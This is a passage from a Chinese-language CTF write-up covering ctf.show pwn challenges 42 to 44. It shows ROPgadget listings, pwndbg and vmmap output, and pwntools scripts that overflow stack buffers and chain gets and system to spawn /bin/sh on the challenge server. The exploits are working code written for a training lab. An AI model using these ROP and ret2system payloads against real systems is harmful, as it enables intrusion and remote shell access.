ret<br>0x0000000000400e71 : idiv bh ; jmp qword ptr &#91;rax]<br>0x0000000000400eb9 : idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400e99 : idiv edi ; jmp qword ptr &#91;rax]<br>0x0000000000400ef9 : idiv edi ; jmp qword ptr &#91;rbx]<br>0x0000000000400683 : in eax, 0x5d ; jmp 0x400610<br>0x0000000000400c9c : in eax, 0x85 ; movsd dword ptr &#91;rdi], dword ptr &#91;rsi] ; jmp 0x2060b53b<br>0x0000000000400536 : je 0x40053a ; call rax<br>0x00000000004005f9 : je 0x400608 ; pop rbp ; mov edi, 0x602050 ; jmp rax<br>0x000000000040063b : je 0x400648 ; pop rbp ; mov edi, 0x602050 ; jmp rax<br>0x000000000040028f : jle 0x400214 ; call qword ptr &#91;rax - 0x4b6cb9fd]<br>0x0000000000400c9f : jmp 0x2060b53b<br>0x000000000040055b : jmp 0x400540<br>0x0000000000400685 : jmp 0x400610<br>0x0000000000400dd3 : jmp qword ptr &#91;rax - 0x2d000000]<br>0x0000000000400e9b : jmp qword ptr &#91;rax]<br>0x0000000000400f3b : jmp qword ptr &#91;rbp]<br>0x0000000000400efb : jmp qword ptr &#91;rbx]<br>0x0000000000400f1b : jmp qword ptr &#91;rdi]<br>0x0000000000400601 : jmp rax<br>0x0000000000400eb4 : js 0x400eb6 ; add byte ptr &#91;rax], al ; out dx, eax ; idiv edi ; call qword ptr &#91;rdi]<br>0x00000000004006a5 : leave ; ret<br>0x0000000000400662 : mov byte ptr &#91;rip + 0x2019ff], 1 ; pop rbp ; ret<br>0x0000000000400572 : mov dl, 0x1a ; and byte ptr &#91;rax], al ; push 2 ; jmp 0x400540<br>0x00000000004006b7 : mov eax, 0 ; pop rbp ; ret<br>0x0000000000400ef4 : mov eax, 0xde000000 ; idiv edi ; jmp qword ptr &#91;rbx]<br>0x0000000000400682 : mov ebp, esp ; pop rbp ; jmp 0x400610<br>0x00000000004005fc : mov edi, 0x602050 ; jmp rax<br>0x0000000000400562 : mov edx, 0x6800201a ; add dword ptr &#91;rax], eax ; add byte ptr &#91;rax], al ; jmp 0x400540<br>0x0000000000400681 : mov rbp, rsp ; pop rbp ; jmp 0x400610<br>0x0000000000400592 : movabs byte ptr &#91;0x46800201a], al ; jmp 0x400540<br>0x0000000000400c9e : movsd dword ptr &#91;rdi], dword ptr &#91;rsi] ; jmp 0x2060b53b<br>0x00000000004006d3 : nop ; pop rbp ; ret<br>0x0000000000400603 : nop dword ptr &#91;rax + rax] ; pop rbp ; ret<br>0x00000000004005cb : nop dword ptr &#91;rax + rax] ; ret<br>0x0000000000400645 : nop dword ptr &#91;rax] ; pop rbp ; ret<br>0x000000000040063c : or ebx, dword ptr &#91;rbp - 0x41] ; push rax ; and byte ptr &#91;rax], ah ; jmp rax<br>0x0000000000400eb8 : out dx, eax ; idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400e98 : out dx, eax ; idiv edi ; jmp qword ptr &#91;rax]<br>0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret<br>0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret<br>0x0000000000400840 : pop r14 ; pop r15 ; ret<br>0x0000000000400842 : pop r15 ; ret<br>0x0000000000400e94 : pop rax ; add byte ptr &#91;rax], al ; add bh, ch ; idiv edi ; jmp qword ptr &#91;rax]<br>0x0000000000400684 : pop rbp ; jmp 0x400610<br>0x00000000004005fb : pop rbp ; mov edi, 0x602050 ; jmp rax<br>0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret<br>0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret<br>0x0000000000400608 : pop rbp ; ret<br>0x0000000000400843 : pop rdi ; ret<br>0x0000000000400841 : pop rsi ; pop r15 ; ret<br>0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret<br>0x0000000000400556 : push 0 ; jmp 0x400540<br>0x0000000000400566 : push 1 ; jmp 0x400540<br>0x0000000000400576 : push 2 ; jmp 0x400540<br>0x0000000000400586 : push 3 ; jmp 0x400540<br>0x0000000000400596 : push 4 ; jmp 0x400540<br>0x00000000004005fd : push rax ; and byte ptr &#91;rax], ah ; jmp rax<br>0x0000000000400680 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610<br>0x000000000040053e : ret<br>0x0000000000400542 : ret 0x201a<br>0x00000000004005f8 : sal byte ptr &#91;rbp + rcx + 0x5d], 0xbf ; push rax ; and byte ptr &#91;rax], ah ; jmp rax<br>0x000000000040063a : sal byte ptr &#91;rbx + rcx + 0x5d], 0xbf ; push rax ; and byte ptr &#91;rax], ah ; jmp rax<br>0x0000000000400535 : sal byte ptr &#91;rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret<br>0x0000000000400665 : sbb dword ptr &#91;rax], esp ; add byte ptr &#91;rcx], al ; pop rbp ; ret<br>0x0000000000400c99 : sub eax, 0x85e5202d ; movsd dword ptr &#91;rdi], dword ptr &#91;rsi] ; jmp 0x2060b53b<br>0x0000000000400c9a : sub eax, 0xa585e520 ; jmp 0x2060b53b<br>0x0000000000400855 : sub esp, 8 ; add rsp, 8 ; ret<br>0x0000000000400854 : sub rsp, 8 ; add rsp, 8 ; ret<br>0x000000000040084a : test byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; ret<br>0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax<br>0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">0x0000000000400843 : pop rdi ; ret<\/pre>\n\n\n\n<p>\u8fd9\u91cc\u83b7\u53d6\u5230rdi\u5bc4\u5b58\u5668\u4f4d\u7f6e<\/p>\n\n\n\n<p>\uff08rdi\u5bc4\u5b58\u5668\u7684\u4f4d\u7f6e\u53ef\u4ee5\u6362\u7528\u53e6\u5916\u4e00\u4e2a\u6307\u4ee4\u6765\u83b7\u53d6\u4f4d\u7f6e)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ROPgadget --binary pwn42 --only \"pop|ret\"|grep rdi<\/code><\/pre>\n\n\n\n<p>\u80fd\u66f4\u9ad8\u6548\u7684\u7b5b\u51fapop_rdi\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>0x000000000040053e : ret<\/p>\n\n\n\n<p>\u8fd9\u91cc\u83b7\u53d6\u5230ret\u6307\u4ee4\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u81f3\u6b64\uff0c\u5168\u90e8\u8981\u7d20\u96c6\u9f50<\/p>\n\n\n\n<p>payload\u683c\u5f0f\u4e3a\uff1ab&#8217;a&#8217;*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)<\/p>\n\n\n\n<p>exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>u=remote(\"pwn.challenge.ctf.show\",28237)<br>pop_rdi=0x0000000000400843<br>sh=0x0400872<br>ret=0x000000000040053e<br>system=0x0400560<br>payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)<br>u.sendline(payload)<br>u.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn43<\/h2>\n\n\n\n<p>32\u4f4d<\/p>\n\n\n\n<p>\u8fdbmain\u51fd\u6570<\/p>\n\n\n\n<p>\u53d1\u73b0\u6ea2\u51fa\u957f\u5ea6<\/p>\n\n\n\n<p>0x6C+4<\/p>\n\n\n\n<p>\u8fdbhint\u51fd\u6570\uff0c\u627e\u5230system<\/p>\n\n\n\n<p>\u627e\u5230system\u7684plt\u4f4d\u7f6e<\/p>\n\n\n\n<p>08048450<\/p>\n\n\n\n<p>\u627e\u4e0d\u5230\/bin\/sh<\/p>\n\n\n\n<p>\u53ea\u80fd\u81ea\u5df1\u6784\u9020<\/p>\n\n\n\n<p>\u552f\u4e00\u7684\u96be\u70b9\u5c31\u662f\u8fd9\u91cc\u4e86<\/p>\n\n\n\n<p>\u5148\u7528pwngdb\u8c03\u8bd5<\/p>\n\n\n\n<p>\u547d\u4ee4\u884c\u8f93\u5165<\/p>\n\n\n\n<p>gdb pwn43<\/p>\n\n\n\n<p>\u7ed9main\u51fd\u6570\u4e0b\u65ad\u70b9<\/p>\n\n\n\n<p>break main<\/p>\n\n\n\n<p>\u7136\u540e\u5f00run<\/p>\n\n\n\n<p>\u4f1a\u62ff\u5230\u8fd9\u4e2a\u7ed3\u679c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Breakpoint 1, 0x080487bd in main ()<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> EAX &nbsp;0xf7faddd8 (environ) \u2014\u25b8 0xffffd00c \u2014\u25b8 0xffffd211 \u25c2\u2014 'CLUTTER_IM_MODULE=xim'<br> EBX &nbsp;0x0<br> ECX &nbsp;0xffffcf70 \u25c2\u2014 0x1<br> EDX &nbsp;0xffffcf94 \u25c2\u2014 0x0<br> EDI &nbsp;0x0<br> ESI &nbsp;0xf7fac000 (_GLOBAL_OFFSET_TABLE_) \u25c2\u2014 0x1d7d8c<br> EBP &nbsp;0xffffcf58 \u25c2\u2014 0x0<br> ESP &nbsp;0xffffcf54 \u2014\u25b8 0xffffcf70 \u25c2\u2014 0x1<br> EIP &nbsp;0x80487bd (main+14) \u25c2\u2014 sub &nbsp; &nbsp;esp, 4<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0x80487bd &lt;main+14&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sub &nbsp; &nbsp;esp, 4<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x80487e7 &lt;__x86.get_pc_thunk.ax&gt; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;eax, dword ptr &#91;esp]<br> &nbsp; 0x80487ea &lt;__x86.get_pc_thunk.ax+3&gt; &nbsp; &nbsp;ret &nbsp; &nbsp;<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x80487c5 &lt;main+22&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;eax, 0x283b<br> &nbsp; 0x80487ca &lt;main+27&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; init &lt;init&gt;<br>\u200b<br> &nbsp; 0x80487cf &lt;main+32&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; logo &lt;logo&gt;<br>\u200b<br> &nbsp; 0x80487d4 &lt;main+37&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; ctfshow &lt;ctfshow&gt;<br>\u200b<br> &nbsp; 0x80487d9 &lt;main+42&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;eax, 0<br> &nbsp; 0x80487de &lt;main+47&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;esp, 4<br> &nbsp; 0x80487e1 &lt;main+50&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ecx<br> &nbsp; 0x80487e2 &lt;main+51&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ebp<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 esp &nbsp;0xffffcf54 \u2014\u25b8 0xffffcf70 \u25c2\u2014 0x1<br>01:0004\u2502 ebp &nbsp;0xffffcf58 \u25c2\u2014 0x0<br>02:0008\u2502 &nbsp; &nbsp; &nbsp;0xffffcf5c \u2014\u25b8 0xf7decfa1 (__libc_start_main+241) \u25c2\u2014 add &nbsp; &nbsp;esp, 0x10<br>03:000c\u2502 &nbsp; &nbsp; &nbsp;0xffffcf60 \u2014\u25b8 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) \u25c2\u2014 0x1d7d8c<br>... \u2193<br>05:0014\u2502 &nbsp; &nbsp; &nbsp;0xffffcf68 \u25c2\u2014 0x0<br>06:0018\u2502 &nbsp; &nbsp; &nbsp;0xffffcf6c \u2014\u25b8 0xf7decfa1 (__libc_start_main+241) \u25c2\u2014 add &nbsp; &nbsp;esp, 0x10<br>07:001c\u2502 ecx &nbsp;0xffffcf70 \u25c2\u2014 0x1<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<\/code><\/pre>\n\n\n\n<p>\u518d\u7528vmmap\u67e5\u5185\u5b58\u6bb5\u7684\u6743\u9650\u4fe1\u606f<\/p>\n\n\n\n<p>\u5f97\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pwndbg&gt; vmmap<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br> 0x8048000 &nbsp;0x8049000 r-xp &nbsp; &nbsp; 1000 0 &nbsp; &nbsp; &nbsp;\/home\/ctfshow\/Desktop\/xd\/pwn43<br> 0x804a000 &nbsp;0x804b000 r--p &nbsp; &nbsp; 1000 1000 &nbsp; \/home\/ctfshow\/Desktop\/xd\/pwn43<br> 0x804b000 &nbsp;0x804c000 rw-p &nbsp; &nbsp; 1000 2000 &nbsp; \/home\/ctfshow\/Desktop\/xd\/pwn43<br>0xf7dd4000 0xf7fa9000 r-xp &nbsp; 1d5000 0 &nbsp; &nbsp; &nbsp;\/lib\/i386-linux-gnu\/libc-2.27.so<br>0xf7fa9000 0xf7faa000 ---p &nbsp; &nbsp; 1000 1d5000 \/lib\/i386-linux-gnu\/libc-2.27.so<br>0xf7faa000 0xf7fac000 r--p &nbsp; &nbsp; 2000 1d5000 \/lib\/i386-linux-gnu\/libc-2.27.so<br>0xf7fac000 0xf7fad000 rw-p &nbsp; &nbsp; 1000 1d7000 \/lib\/i386-linux-gnu\/libc-2.27.so<br>0xf7fad000 0xf7fb0000 rw-p &nbsp; &nbsp; 3000 0 &nbsp; &nbsp; &nbsp;<br>0xf7fcf000 0xf7fd1000 rw-p &nbsp; &nbsp; 2000 0 &nbsp; &nbsp; &nbsp;<br>0xf7fd1000 0xf7fd4000 r--p &nbsp; &nbsp; 3000 0 &nbsp; &nbsp;  &#91;vvar]<br>0xf7fd4000 0xf7fd6000 r-xp &nbsp; &nbsp; 2000 0 &nbsp; &nbsp;  &#91;vdso]<br>0xf7fd6000 0xf7ffc000 r-xp &nbsp; &nbsp;26000 0 &nbsp; &nbsp; &nbsp;\/lib\/i386-linux-gnu\/ld-2.27.so<br>0xf7ffc000 0xf7ffd000 r--p &nbsp; &nbsp; 1000 25000 &nbsp;\/lib\/i386-linux-gnu\/ld-2.27.so<br>0xf7ffd000 0xf7ffe000 rw-p &nbsp; &nbsp; 1000 26000 &nbsp;\/lib\/i386-linux-gnu\/ld-2.27.so<br>0xfffdd000 0xffffe000 rw-p &nbsp; &nbsp;21000 0 &nbsp; &nbsp;  &#91;stack]<\/code><\/pre>\n\n\n\n<p>-p \u6807\u5fd7\u8868\u793a\u5185\u5b58\u533a\u57df\u7684\u6743\u9650\uff0c\u5b83\u7531\u56db\u4e2a\u5b57\u7b26\u7ec4\u6210\uff0c\u6bcf\u4e2a\u5b57\u7b26\u5206\u522b\u4ee3\u8868\u4e00\u4e2a\u6743\u9650\uff1a<\/p>\n\n\n\n<p>r\uff1a\u53ef\u8bfb\uff08Readable\uff09 w\uff1a\u53ef\u5199\uff08Writable\uff09 x\uff1a\u53ef\u6267\u884c\uff08Executable\uff09 s\uff1a\u5171\u4eab\uff08Shared\uff09<\/p>\n\n\n\n<p>0x804b000 0x804c000 rw-p 1000 2000 \/home\/ctfshow\/Desktop\/xd\/pwn43<\/p>\n\n\n\n<p>\u8fd9\u91cc\u5c31\u662f\u53ef\u4ee5\u8bfb\u5199\u7684<\/p>\n\n\n\n<p>\u5728\u8fd9\u4e2a\u533a\u95f4\u5c31\u80fd\u627e\u5230buf2<\/p>\n\n\n\n<p>\u8fd9\u91cc\u5c31\u53ef\u4ee5\u4f5c\u4e3a\u6211\u4eec\u6784\u9020\u7684\/bin\/sh\u7684\u6240\u5728<\/p>\n\n\n\n<p>buf2\u7684\u4f4d\u7f6e\u4e3a<\/p>\n\n\n\n<p>0804B060<\/p>\n\n\n\n<p>\u90a3\u4e48\u6211\u4eec\u5c31\u53ea\u5dee\u4e2a\u8f93\u5165\u51fd\u6570\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u5b9e\u9645\u4e0a\uff0c\u7ec6\u770bctfshow\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n<p>\u91cc\u9762\u6709\u7528\u5230\u4e00\u4e2a\u8f93\u5165\u51fd\u6570<\/p>\n\n\n\n<p>gets\u51fd\u6570<\/p>\n\n\n\n<p>\u627e\u5230gets\u51fd\u6570\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>08048420<\/p>\n\n\n\n<p>\u90a3\u4e48payload\u7684\u6784\u9020\u5c31\u51fa\u6765\u4e86<\/p>\n\n\n\n<p>payload=b&#8217;a&#8217;*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)<\/p>\n\n\n\n<p>payload\u91cc\u7684\u4e24\u4e2abuf2\u5206\u522b\u4f5c\u4e3agets\u51fd\u6570\u548csystem\u51fd\u6570\u7684\u53c2\u6570<\/p>\n\n\n\n<p>\u5177\u4f53\u539f\u56e0\u53c2\u8003\u5927\u4f6c\u6587<\/p>\n\n\n\n<p>\u5173\u4e8e\u8fd9\u4e2a payload \u7684\u8be6\u7ec6\u89e3\u91ca\uff1a<\/p>\n\n\n\n<p>\u5728\u51fd\u6570\u8c03\u7528\u4e2d\uff0c\u53c2\u6570\u4f1a\u6309\u7167\u4e00\u5b9a\u7684\u987a\u5e8f\u538b\u5165\u6808\u4e2d\uff0c\u7136\u540e\u51fd\u6570\u4f1a\u4f9d\u6b21\u8bfb\u53d6\u8fd9\u4e9b\u53c2\u6570\u3002<\/p>\n\n\n\n<p>b&#8217;a&#8217;*offset\uff1a\u8fd9\u90e8\u5206\u662f\u586b\u5145\u6570\u636e\uff0c\u957f\u5ea6\u4e3a offset\uff0c\u76ee\u7684\u662f\u4e3a\u4e86\u8986\u76d6\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\uff0c\u5e76\u786e\u4fdd\u6211\u4eec\u80fd\u591f\u63a7\u5236\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b\u3002<\/p>\n\n\n\n<p>p32(gets_addr)\uff1a\u8fd9\u662f gets() \u51fd\u6570\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c06\u8986\u76d6\u51fd\u6570\u8fd4\u56de\u5730\u5740\u4e3a gets() \u51fd\u6570\u7684\u5730\u5740\uff0c\u8fd9\u6837\u5728\u7a0b\u5e8f\u8fd4\u56de\u65f6\u4f1a\u8df3\u8f6c\u5230 gets() \u51fd\u6570\u6267\u884c\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5229\u7528 gets() \u51fd\u6570\u4ece\u8f93\u5165\u4e2d\u83b7\u53d6\u6570\u636e\u3002 p32(system_addr)\uff1a\u8fd9\u662f system() \u51fd\u6570\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c06\u8986\u76d6 gets() \u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u4e3a system() \u51fd\u6570\u7684\u5730\u5740\uff0c\u8fd9\u6837\u5728 gets() \u51fd\u6570\u6267\u884c\u5b8c\u6bd5\u540e\uff0c\u7a0b\u5e8f\u4f1a\u7ee7\u7eed\u6267\u884c system() \u51fd\u6570\u3002<\/p>\n\n\n\n<p>\u800c\u540e\u9762\u7684\u4e24\u4e2a p32(buf2_addr) \u5206\u522b\u4f5c\u4e3a gets \u51fd\u6570\u4e0e system \u51fd\u6570\u7684\u53c2\u6570<\/p>\n\n\n\n<p>\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7528 gets() \u51fd\u6570\u8bfb\u53d6\u7684\u6570\u636e\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u8981\u5199\u7684 buf2 \u7684\u5730\u5740\uff08\u5199\u5165\u540e buf2 \u7684\u5730\u5740\u4e5f\u5c31\u662f &#8220;\/bin\/sh&#8221; \u5b57\u7b26\u4e32\u7684\u5730\u5740\uff09\uff1b \u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e5f\u662f &#8220;\/bin\/sh&#8221; \u5b57\u7b26\u4e32\u7684\u5730\u5740\uff0c\u56e0\u4e3a system() \u51fd\u6570\u4f1a\u4f7f\u7528\u8fd9\u4e2a\u5730\u5740\u4f5c\u4e3a\u547d\u4ee4\u53c2\u6570<\/p>\n\n\n\n<p>\u539f\u6587\u94fe\u63a5\uff1a<a href=\"https:\/\/blog.csdn.net\/Myon5\/article\/details\/138167444\">https:\/\/blog.csdn.net\/Myon5\/article\/details\/138167444<\/a><\/p>\n\n\n\n<p>\u6240\u4ee5exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>u=remote(\"pwn.challenge.ctf.show\",28166)<br>gets=0x08048420<br>system=0x08048450<br>buf2=0x0804B060<br>payload=b'a'*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)<br>u.sendline(payload)<br>u.sendline(\"\/bin\/sh\")<br>u.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn44<\/h2>\n\n\n\n<p>64\u4f4d<\/p>\n\n\n\n<p>ctfshow\u51fd\u6570\u4e2d\uff0c\u62ff\u5230\u6ea2\u51fa\u5b57\u7b26\u957f\u5ea6<\/p>\n\n\n\n<p>0xA+8<\/p>\n\n\n\n<p>\u627e\u5230gets\u51fd\u6570<\/p>\n\n\n\n<p>\u5373\u8f93\u5165\u51fd\u6570\uff0c\u80fd\u624b\u52a8\u4f20\u5165&#8221;\/bin\/sh&#8221;\u7684\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">0x00400530<\/pre>\n\n\n\n<p>pwngdb\u8c03\u8bd5<\/p>\n\n\n\n<p>\u5f97\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pwndbg&gt; vmmap<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x400000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x401000 r-xp &nbsp; &nbsp; 1000 0 &nbsp; &nbsp; &nbsp;\/home\/ctfshow\/Desktop\/xd\/pwn44<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x601000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x602000 r--p &nbsp; &nbsp; 1000 1000 &nbsp; \/home\/ctfshow\/Desktop\/xd\/pwn44<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x602000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x603000 rw-p &nbsp; &nbsp; 1000 2000 &nbsp; \/home\/ctfshow\/Desktop\/xd\/pwn44<br> &nbsp; &nbsp;0x7ffff79e2000 &nbsp; &nbsp; 0x7ffff7bc9000 r-xp &nbsp; 1e7000 0 &nbsp; &nbsp; &nbsp;\/lib\/x86_64-linux-gnu\/libc-2.27.so<br> &nbsp; &nbsp;0x7ffff7bc9000 &nbsp; &nbsp; 0x7ffff7dc9000 ---p &nbsp; 200000 1e7000 \/lib\/x86_64-linux-gnu\/libc-2.27.so<br> &nbsp; &nbsp;0x7ffff7dc9000 &nbsp; &nbsp; 0x7ffff7dcd000 r--p &nbsp; &nbsp; 4000 1e7000 \/lib\/x86_64-linux-gnu\/libc-2.27.so<br> &nbsp; &nbsp;0x7ffff7dcd000 &nbsp; &nbsp; 0x7ffff7dcf000 rw-p &nbsp; &nbsp; 2000 1eb000 \/lib\/x86_64-linux-gnu\/libc-2.27.so<br> &nbsp; &nbsp;0x7ffff7dcf000 &nbsp; &nbsp; 0x7ffff7dd3000 rw-p &nbsp; &nbsp; 4000 0 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp;0x7ffff7dd3000 &nbsp; &nbsp; 0x7ffff7dfc000 r-xp &nbsp; &nbsp;29000 0 &nbsp; &nbsp; &nbsp;\/lib\/x86_64-linux-gnu\/ld-2.27.so<br> &nbsp; &nbsp;0x7ffff7fd6000 &nbsp; &nbsp; 0x7ffff7fd8000 rw-p &nbsp; &nbsp; 2000 0 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp;0x7ffff7ff7000 &nbsp; &nbsp; 0x7ffff7ffa000 r--p &nbsp; &nbsp; 3000 0 &nbsp; &nbsp;  &#91;vvar]<br> &nbsp; &nbsp;0x7ffff7ffa000 &nbsp; &nbsp; 0x7ffff7ffc000 r-xp &nbsp; &nbsp; 2000 0 &nbsp; &nbsp;  &#91;vdso]<br> &nbsp; &nbsp;0x7ffff7ffc000 &nbsp; &nbsp; 0x7ffff7ffd000 r--p &nbsp; &nbsp; 1000 29000 &nbsp;\/lib\/x86_64-linux-gnu\/ld-2.27.so<br> &nbsp; &nbsp;0x7ffff7ffd000 &nbsp; &nbsp; 0x7ffff7ffe000 rw-p &nbsp; &nbsp; 1000 2a000 &nbsp;\/lib\/x86_64-linux-gnu\/ld-2.27.so<br> &nbsp; &nbsp;0x7ffff7ffe000 &nbsp; &nbsp; 0x7ffff7fff000 rw-p &nbsp; &nbsp; 1000 0 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp;0x7ffffffde000 &nbsp; &nbsp; 0x7ffffffff000 rw-p &nbsp; &nbsp;21000 0 &nbsp; &nbsp;  &#91;stack]<br>0xffffffffff600000 0xffffffffff601000 --xp &nbsp; &nbsp; 1000 0 &nbsp; &nbsp;  &#91;vsyscall<\/code><\/pre>\n\n\n\n<p>\u53bb\u7ffb0x602000 0x603000 rw-p 1000 2000 \/home\/ctfshow\/Desktop\/xd\/pwn44<\/p>\n\n\n\n<p>\u627e\u5230buf2\u4f4d\u7f6e<\/p>\n\n\n\n<pre 